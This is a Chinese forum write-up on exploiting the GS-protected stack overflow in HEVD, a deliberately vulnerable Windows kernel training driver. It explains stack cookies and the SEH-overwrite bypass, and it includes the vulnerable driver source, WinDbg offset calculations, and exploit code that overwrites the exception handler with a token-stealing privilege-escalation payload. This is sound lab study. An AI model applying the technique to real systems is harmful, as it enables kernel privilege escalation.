-
-
[原创]内核漏洞学习[2]-HEVD-StackOverflowGS
-
发表于: 2021-10-30 18:42 27067
-
HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
安全编译选项-GS
GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。
在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。
Security Cookie位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本,如图
当栈中发生溢出时,Security Cookie将被首先淹没,之后才是EBP和返回地址。在函数返回之前,系统将执行一个额外的安全验证操作,被称做 Security check。
在Security Check的过程中,系统将比较栈帧中原先存放的Security Co okie和.data中副本的值,如果两者不吻合,说明栈帧中的Security Cookie已被破坏,即栈中发生了溢出。
当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret 指令也不会被执行,如图
但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最小,编译器在编译程序的时候并不是对所有的函数都应用GS,以下情况不会应用GS。
(1)函数不包含缓冲区。
(2)函数被定义为具有变量参数列表。
(3)函数使用无保护的关键字标记。
(4)函数在第一个语句中包含内嵌汇编代码。
(5)缓冲区不是8字节类型且大小不大于4个字节。
除了在返回地址前添加Security Cookie外,在Visual Studio 2005及后续版本还使用了变量重排技术,在编译时根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧的高地址。这样可以防止该字符串溢出时破坏其他的局部变量。同时还会将指针参数和字符串参数复制到内存中低地址,防止函数参数被破坏。如图
通过GS安全编译选项,操作系统能够在运行中有效地检测并阻止绝大多数基于栈溢出的攻击。要想硬对硬地冲击GS机制,是很难成功的。让我们再来看看Security C ookie产生的细节。
1.系统以.data节的第一个双字作为Cookie的种子,或称原始Cookie(所有函数的Cookie都用这个DWORD生成)。
2.在程序每次运行时Cookie 的种子都不同,因此种子有很强的随机性
3.在栈桢初始化以后系统用ESP异或种子,作为当前函数的Cookie,以此作为不同函数之间的区别,并增加Cookie的随机性
4.在函数返回前,用ESP还原出(异或)Cookie 的种子
在微软出版的Writing Secure Code一书中谈到GS选项时,作者还给出了微软内部对GS为产品所提供的安全保护的看法:
修改栈帧中函数返回地址的经典攻击将被GS机制有效遏制;
基于改写函数指针的攻击,GS很难防御;
针对异常处理机制的攻击,GS很难防御;
GS是对栈帧的保护机制,因此很难防御堆溢出的攻击。
所以绕过GS保护有几种方法
利用未被保护的内存突破GS
覆盖虚函数突破GS
攻击异常处理突破GS
同时替换栈中和.data中的Cookie突破GS
GS机制并没有对S.E.H 提供保护,换句话说我们可以通过攻击程序的异常处理达到绕过GS 的目的。我们首先通过超长字符串覆盖掉异常处理函数指针,然后想办法触发一个异常,程序就会转入异常处理,由于异常处理函数指针已经被我们覆盖,那么我们就可以通过劫持S.E.H 来控制程序的后续流程。
每个SEH结构体包含两个DWORD指针:SEH链表指针next seh和异常处理函数句柄Exception handler,共八个字节,存放于栈中。如下图所示,其中SEH链表指针next seh用于指向下一个SEH结构体,异常处理函数句柄Exception handler为一个异常处理函数。
Visual C++为使用结构化异常处理的函数生成的标准异常堆栈帧,它看起来像下面这个样子:
(0day第十章有详细介绍)
关于异常更详细的知识:
[原创]内核学习-异常处理-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
漏洞原理:栈溢出漏洞,使用过程中使用危险的函数,没有对参数进行限制
BufferOverflowStackGS开启GS保护
(1)加载驱动
(这部分内容直接使用上一篇分析的HEVD_BufferOverflowStack的图片了)
安装驱动程序,使用kmdManager 加载驱动程序,DebugView检测内核,可以看到加载驱动程序成功。
windbg:
(2)分析漏洞点
对BufferOverflowStackGS.c源码进行分析,漏洞函数TriggerBufferOverflowStackGS,存在明显的栈溢出漏洞,RtlCopyMemory函数没有对KernelBuffer大小进行验证,直接将size大小的userbuffer传入缓冲区,没有进行大小的限制,(例如安全版本的sizeof(KernelBuffer)),因此造成栈溢出,因为开启了GS保护,所以对于BufferOverflowStackGS,不使用攻击返回地址,而攻击SEH,覆盖SEH handle ,人为构造异常,触发异常,执行异常处理函数,(此时异常处理函数是我们的payload),这个步骤发生在再返回地址,检查cookie之前。
因为GS保护,在栈中有cookie,所以无法溢出到返回地址,那就溢出到SEH handle,
windbg调试:
1.在TriggerBufferOverflowStackGS函数处下断点
2.
ebp:971c1ae0
3.运行exp,找到seh handle 距离kernelbuffer的偏移,(后面再说exp的原理)。
kernelbuffer:971c18b4
4.
Visual C++为使用结构化异常处理的函数生成的标准异常堆栈帧,它看起来像下面这个样子:
EBP-0C handler函数地址=971c1ae0-0c=971c1ad4
971c1ad4-kernelbuffer:971c18b4=220, 所以 想要覆盖到handler函数地址 需要大小0x224,偏移确定了,分析下exp原理。
5.
构造exp(官方exp)
具体原理看注释:
HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS控制码对应的派遣函数BufferOverflowStackGSIoctlHandler
BufferOverflowStackGSIoctlHandler函数调用TriggerBufferOverflowStackGS触发漏洞函数
payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。
相关内核结构体:
在内核模式下,fs:[0]指向KPCR结构体
payload:
提权成功:
在网上看到的一个思路,没有获取se handle到kernelbuffer的偏移,而是直接将缓冲区数据全部写成payload地址,
测试结果,蓝屏了
对RtlCopyMemory的参数进行严格的设置,使用sizeof(kernelbuffer)
其他:
刚接触内核漏洞,如果有哪写的不对,希望大佬们指出
EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD
*
ExceptionRecord,
void
*
EstablisherFrame,
struct _CONTEXT
*
ContextRecord,
void
*
DispatcherContext);
EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD
*
ExceptionRecord,
void
*
EstablisherFrame,
struct _CONTEXT
*
ContextRecord,
void
*
DispatcherContext);
EBP
-
00
_ebp
EBP
-
04
trylevel
EBP
-
08
scopetable数组指针
EBP
-
0C
handler函数地址
EBP
-
10
指向前一个EXCEPTION_REGISTRATION结构
EBP
-
14
GetExceptionInformation
EBP
-
18
栈帧中的标准ESP
EBP
-
00
_ebp
EBP
-
04
trylevel
EBP
-
08
scopetable数组指针
EBP
-
0C
handler函数地址
EBP
-
10
指向前一个EXCEPTION_REGISTRATION结构
EBP
-
14
GetExceptionInformation
EBP
-
18
栈帧中的标准ESP
lm 查看所有已加载模块
lm m H
*
设置过滤,查找HEVD模块
lm m HEVD
lm 查看所有已加载模块
lm m H
*
设置过滤,查找HEVD模块
lm m HEVD
#define BUFFER_SIZE 512
NTSTATUS
TriggerBufferOverflowStackGS(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status
=
STATUS_SUCCESS;
UCHAR KernelBuffer[BUFFER_SIZE]
=
{
0
};
PAGED_CODE();
__try
{
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint(
"[+] UserBuffer: 0x%p\n"
, UserBuffer);
DbgPrint(
"[+] UserBuffer Size: 0x%X\n"
, Size);
DbgPrint(
"[+] KernelBuffer: 0x%p\n"
, &KernelBuffer);
DbgPrint(
"[+] KernelBuffer Size: 0x%X\n"
, sizeof(KernelBuffer));
#ifdef SECURE
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
/
/
安全版本
#else
DbgPrint(
"[+] Triggering Buffer Overflow in Stack (GS)\n"
);
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
/
/
不安全版本,未对size做限制
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
#define BUFFER_SIZE 512
NTSTATUS
TriggerBufferOverflowStackGS(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status
=
STATUS_SUCCESS;
UCHAR KernelBuffer[BUFFER_SIZE]
=
{
0
};
PAGED_CODE();
__try
{
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint(
"[+] UserBuffer: 0x%p\n"
, UserBuffer);
DbgPrint(
"[+] UserBuffer Size: 0x%X\n"
, Size);
DbgPrint(
"[+] KernelBuffer: 0x%p\n"
, &KernelBuffer);
DbgPrint(
"[+] KernelBuffer Size: 0x%X\n"
, sizeof(KernelBuffer));
#ifdef SECURE
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
/
/
安全版本
#else
DbgPrint(
"[+] Triggering Buffer Overflow in Stack (GS)\n"
);
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
/
/
不安全版本,未对size做限制
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
kd>bp HEVD!TriggerBufferOverflowStackGS
kd>bp HEVD!TriggerBufferOverflowStackGS
kd>g
/
/
运行
kd>r
/
/
查看寄存器
kd>g
/
/
运行
kd>r
/
/
查看寄存器
EBP
-
00
_ebp
EBP
-
04
trylevel
EBP
-
08
scopetable数组指针
EBP
-
0C
handler函数地址
EBP
-
10
指向前一个EXCEPTION_REGISTRATION结构
EBP
-
14
GetExceptionInformation
EBP
-
18
栈帧中的标准ESP
EBP
-
00
_ebp
EBP
-
04
trylevel
EBP
-
08
scopetable数组指针
EBP
-
0C
handler函数地址
EBP
-
10
指向前一个EXCEPTION_REGISTRATION结构
EBP
-
14
GetExceptionInformation
EBP
-
18
栈帧中的标准ESP
DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {
HANDLE hFile
=
NULL;
ULONG BytesReturned;
SIZE_T PageSize
=
0x1000
;
HANDLE Sharedmemory
=
NULL;
PVOID MemoryAddress
=
NULL;
PVOID SuitableMemoryForBuffer
=
NULL;
LPCSTR FileName
=
(LPCSTR)DEVICE_NAME;
LPVOID SharedMappedMemoryAddress
=
NULL;
SIZE_T SeHandlerOverwriteOffset
=
0x214
;
PVOID EopPayload
=
&TokenStealingPayladGSWin7;
LPCTSTR SharedMemoryName
=
(LPCSTR)SHARED_MEMORY_NAME;
__try {
/
/
获得设备句柄
DEBUG_MESSAGE(
"\t[+] Getting Device Driver Handle\n"
);
DEBUG_INFO(
"\t\t[+] Device Name: %s\n"
, FileName);
hFile
=
GetDeviceHandle(FileName);
if
(hFile
=
=
INVALID_HANDLE_VALUE) {
DEBUG_ERROR(
"\t\t[-] Failed Getting Device Handle: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
else
{
DEBUG_INFO(
"\t\t[+] Device Handle: 0x%X\n"
, hFile);
}
DEBUG_MESSAGE(
"\t[+] Setting Up Vulnerability Stage\n"
);
DEBUG_INFO(
"\t\t[+] Creating Shared Memory\n"
);
/
/
Create the shared memory
/
/
CreateFileMapping 用于创建一个文件映射内核对象
Sharedmemory
=
CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0
,
PageSize,
SharedMemoryName);
if
(!Sharedmemory) {
DEBUG_ERROR(
"\t\t\t[-] Failed To Create Shared Memory: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
else
{
DEBUG_INFO(
"\t\t\t[+] Shared Memory Handle: 0x%p\n"
, Sharedmemory);
}
DEBUG_INFO(
"\t\t[+] Mapping Shared Memory To Current Process Space\n"
);
/
/
Map
the shared memory
in
the process space of this process
/
/
MapViewOfFile 将一个文件映射对象映射到当前应用程序的地址空间
SharedMappedMemoryAddress
=
MapViewOfFile(Sharedmemory,
FILE_MAP_ALL_ACCESS,
0
,
0
,
PageSize);
if
(!SharedMappedMemoryAddress) {
DEBUG_ERROR(
"\t\t\t[-] Failed To Map Shared Memory: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
else
{
DEBUG_INFO(
"\t\t\t[+] Mapped Shared Memory: 0x%p\n"
, SharedMappedMemoryAddress);
}
SuitableMemoryForBuffer
=
(PVOID)((ULONG)SharedMappedMemoryAddress
+
(ULONG)(PageSize
-
SeHandlerOverwriteOffset));
/
/
SeHandlerOverwriteOffset
0x224
大小,距离se handle的偏移
DEBUG_INFO(
"\t\t[+] Suitable Memory For Buffer: 0x%p\n"
, SuitableMemoryForBuffer);
DEBUG_INFO(
"\t\t[+] Preparing Buffer Memory Layout\n"
);
RtlFillMemory(SharedMappedMemoryAddress, PageSize,
0x41
);
/
/
'A'
填充
MemoryAddress
=
(PVOID)((ULONG)SuitableMemoryForBuffer
+
0x204
);
*
(PULONG)MemoryAddress
=
0x42424242
;
DEBUG_INFO(
"\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n"
,
*
(PULONG)MemoryAddress);
DEBUG_INFO(
"\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n"
, MemoryAddress);
MemoryAddress
=
(PVOID)((ULONG)MemoryAddress
+
0x4
);
*
(PULONG)MemoryAddress
=
0x43434343
;
MemoryAddress
=
(PVOID)((ULONG)MemoryAddress
+
0x4
);
*
(PULONG)MemoryAddress
=
0x44444444
;
DEBUG_INFO(
"\t\t\t[+] Next SE Handler Value: 0x%p\n"
,
*
(PULONG)MemoryAddress);
DEBUG_INFO(
"\t\t\t[+] Next SE Handler Address: 0x%p\n"
, MemoryAddress);
MemoryAddress
=
(PVOID)((ULONG)MemoryAddress
+
0x4
);
*
(PULONG)MemoryAddress
=
(ULONG)EopPayload;
/
/
EopPayload覆盖SE Handler,SuitableMemoryForBuffer
+
0x220
DEBUG_INFO(
"\t\t\t[+] SE Handler Value: 0x%p\n"
,
*
(PULONG)MemoryAddress);
DEBUG_INFO(
"\t\t\t[+] SE Handler Address: 0x%p\n"
, MemoryAddress);
DEBUG_INFO(
"\t\t[+] EoP Payload: 0x%p\n"
, EopPayload);
DEBUG_MESSAGE(
"\t[+] Triggering Kernel Stack Overflow GS\n"
);
OutputDebugString(
"****************Kernel Mode****************\n"
);
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
(LPVOID)SuitableMemoryForBuffer,
/
/
SuitableMemoryForBuffer
=
(PVOID)((ULONG)SharedMappedMemoryAddress
+
(ULONG)(PageSize
-
SeHandlerOverwriteOffset));
/
/
SeHandlerOverwriteOffset
0x224
大小,距离se handle的偏移
(DWORD)SeHandlerOverwriteOffset
+
RAISE_EXCEPTION_IN_KERNEL_MODE,
/
/
RAISE_EXCEPTION_IN_KERNEL_MODE
0x4
,利用这个多出来的
0x4
大小,使得驱动访问无效内存,触发异常
NULL,
0
,
&BytesReturned,
NULL);
OutputDebugString(
"****************Kernel Mode****************\n"
);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR(
"\t\t[-] Exception: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
return
EXIT_SUCCESS;
}
DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {
HANDLE hFile
=
NULL;
ULONG BytesReturned;
SIZE_T PageSize
=
0x1000
;
HANDLE Sharedmemory
=
NULL;
PVOID MemoryAddress
=
NULL;
PVOID SuitableMemoryForBuffer
=
NULL;
LPCSTR FileName
=
(LPCSTR)DEVICE_NAME;
LPVOID SharedMappedMemoryAddress
=
NULL;
SIZE_T SeHandlerOverwriteOffset
=
0x214
;
PVOID EopPayload
=
&TokenStealingPayladGSWin7;
LPCTSTR SharedMemoryName
=
(LPCSTR)SHARED_MEMORY_NAME;
__try {
/
/
获得设备句柄
DEBUG_MESSAGE(
"\t[+] Getting Device Driver Handle\n"
);
DEBUG_INFO(
"\t\t[+] Device Name: %s\n"
, FileName);
hFile
=
GetDeviceHandle(FileName);
if
(hFile
=
=
INVALID_HANDLE_VALUE) {
DEBUG_ERROR(
"\t\t[-] Failed Getting Device Handle: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
else
{
DEBUG_INFO(
"\t\t[+] Device Handle: 0x%X\n"
, hFile);
}
DEBUG_MESSAGE(
"\t[+] Setting Up Vulnerability Stage\n"
);
DEBUG_INFO(
"\t\t[+] Creating Shared Memory\n"
);
/
/
Create the shared memory
/
/
CreateFileMapping 用于创建一个文件映射内核对象
Sharedmemory
=
CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0
,
PageSize,
SharedMemoryName);
if
(!Sharedmemory) {
DEBUG_ERROR(
"\t\t\t[-] Failed To Create Shared Memory: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
else
{
赞赏
- [原创]CVE-2017-11882分析和白象样本分析 8257
- 银狐样本分析 12917
- [原创]CS[1]exe木马分析 7751
- [原创]内核漏洞学习[6]-HEVD-UninitializedStackVariable 27925
- [原创]植物大战僵尸外挂实现 13092